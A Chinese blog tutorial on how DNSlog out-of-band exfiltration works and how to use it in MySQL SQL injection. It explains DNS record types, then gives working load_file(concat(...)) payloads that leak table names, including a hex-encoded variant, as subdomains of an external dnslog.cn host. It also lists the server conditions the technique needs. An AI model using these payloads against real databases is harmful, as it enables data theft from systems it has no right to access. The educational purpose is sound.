DNSlog外带原理及注入分析(最新推荐)

 更新时间:2024年01月08日 14:48:39   作者:S1nJa  
DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网,最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录,感兴趣的朋友一起看看吧

DNS基本概念

DNS中不同域名类型概念

DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如littlehann.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如101.37.97.51,使用户可以访问这台服务器上相应的服务。

DNSlog就是存储在DNS Server上的域名访问信息,它记录着用户对域名littlehann.com等的访问信息,类似日志文件。

按照解析类型分类,DNS域名有如下几种:

  • A记录:A (Address) 记录是用来指定主机名(或域名)对应的IP地址记录。就是说:通过A记录,大家可以设置自己的不同域名转到不同的IP上去。如:
    • www.dns.la转到IP 116.255.202.1
    • web.dns.la 转到IP 116.255.202.11
    • mail.dns.la 转到IP 116.255.202.111
  • MX记录(Mail Exchange):邮件交换记录,用户可以将该域名下的邮件服务器指向到自己的Mail Server上,然后即可自行操作控制所有的邮箱设置。
  • CNAME(Canonical Name)记录:通常称别名解析,可以将注册的不同域名都转到一个域名记录上,由这个域名记录统一解析管理,与A记录不同的是,CNAME别名记录设置的可以是一个域名的描述而不一定是IP地址。
  • URL(Uniform Resource Locator)转发:网址转发功能,如果您没有一台独立的服务器(也就是没有一个独立的IP地址)或者您还有一个域名B,您想访问A域名时访问到B域名的内容,这时您就可以通过URL转发来实现。URL转发可以转发到某一个目录下,甚至某一个文件上。而CNAME是不可以,这就是URL转发和CNAME的主要区别所在。
  • NS(Name Server):NS记录是域名服务解析记录,NS用来指定该域名由哪个DNS服务器来进行解析,可以把一个域名的不同二级域名分别指向到不同的DNS系统来解析。
  • AAAA记录:IPV6解析记录,该记录是将域名解析到一个指定的IPV6的IP上。

前言

最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录。

DNSlog原理

DNS

DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址;例如向浏览器访问a.com,浏览器就会将其解析成真实的IP访问对应服务器上的服务。

DNSlog

DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录

DNSlog外带原理

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。

DNSlog注入

在搜索DNSlog原理时同时看到了DNSlog注入,所以本地测试一块都了解一下

前置知识

Load_file

注入主要用到了Load_file函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时,需要在最前面加上两个斜杠 //)

使用本函数有几个前提:
1、首先要有注入点
2、需要有root权限
3、数据库有读写权限即:secure_file_priv=“”
4、得有请求url权限
5、还必须得是windows服务器

D盘中写了个1.txt

通过load_file函数,读取一下

select load_file('D:/1.txt')

concat

由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接

select concat('Sentiment','\\',(select database()));

本地测试

通过DNSlog外带数据库信息

select load_file(concat('//',(select group_concat(table_name separator '_') from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));


外带表名

select load_file(concat('//',(select group_concat(table_name separator '_') from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

剩下的就是sql注入常规操作了,就不一一列举了

局限性

通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性

select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

十六进制转字符

到此这篇关于DNSlog外带原理及注入分析(最新推荐)的文章就介绍到这了,更多相关DNSLOG注入原理内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • windows系统搭建zookeeper服务器的教程

    windows系统搭建zookeeper服务器的教程

    这篇文章主要介绍了windows系统搭建zookeeper服务器的教程,本文图文并茂给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
    2019-10-10
  • DELL R710服务器做RAID5磁盘阵列图文教程

    DELL R710服务器做RAID5磁盘阵列图文教程

    这篇文章主要介绍了DELL R710服务器做RAID5磁盘阵列图文教程,需要的朋友可以参考下
    2014-08-08
  • 双至强cpu 32g内存服务器 做了阵列1更换一个坏的硬盘后,没做阵列

    双至强cpu 32g内存服务器 做了阵列1更换一个坏的硬盘后,没做阵列

    更换掉坏硬盘后,系统重新认出primary后,原来的主盘即失效,如果此时再将更换掉的旧盘插入系统就会造成,混乱,导致进不入系统,拨掉也无用
    2013-06-06
  • CyberPanel配置教程,新手安装 CyberPanel 终极指南

    CyberPanel配置教程,新手安装 CyberPanel 终极指南

    CyberPanel 是第一个LiteSpeed为web服务器的Linux面板,使用LiteSpeed Cache简单优化之后 Gtmetrix 和 Google PageSpeed Insights 的评分几乎都是A,这个结果让人十分满意
    2023-12-12
  • ROS参数服务器中的理论模型与参数操作(C++)

    ROS参数服务器中的理论模型与参数操作(C++)

    在C++中实现参数服务器数据的增删改查,均可以通过两套API实现分别是ros::NodeHandle和ros::param,这篇文章主要介绍了ROS参数服务器--理论模型与参数操作(C++),需要的朋友可以参考下
    2023-08-08
  • Kubernetes常用命令大全近期总结

    Kubernetes常用命令大全近期总结

    Kubernetes是用于大规模部署和管理这些容器的开源软件 - 在希腊语中,这个词还有“舵手”或“飞行员”的意思,使用 Kubernetes(有时被称为“k8s”或“k-eights”)可更快地构建、交付和缩放容器化应用,这篇文章介绍了最新版Kubernetes常用命令大全
    2025-01-01
  • Tomcat目录结构详细介绍

    Tomcat目录结构详细介绍

    今天和大家一起聊聊关于Tomcat目录结构以及各个目录,相关文章的具体作用
    2018-10-10
  • 如何在多台服务器上运行相同命令

    如何在多台服务器上运行相同命令

    这篇文章主要介绍了在多台服务器上运行相同命令的相关知识,包括安装及使用方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2023-06-06
  • 配置Memcache服务器并实现主从复制功能(repcached)

    配置Memcache服务器并实现主从复制功能(repcached)

    repcached是日本人开发的实现memcached复制功能,它是一个单 master单 slave的方案,但它的 master/slave都是可读写的,而且可以相互同步,如果 master坏掉, slave侦测到连接断了,它会自动 listen而成为 master
    2012-03-03
  • V Rising 服务器搭建图文教程

    V Rising 服务器搭建图文教程

    这篇文章主要介绍了V Rising 服务器搭建,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2022-06-06

最新评论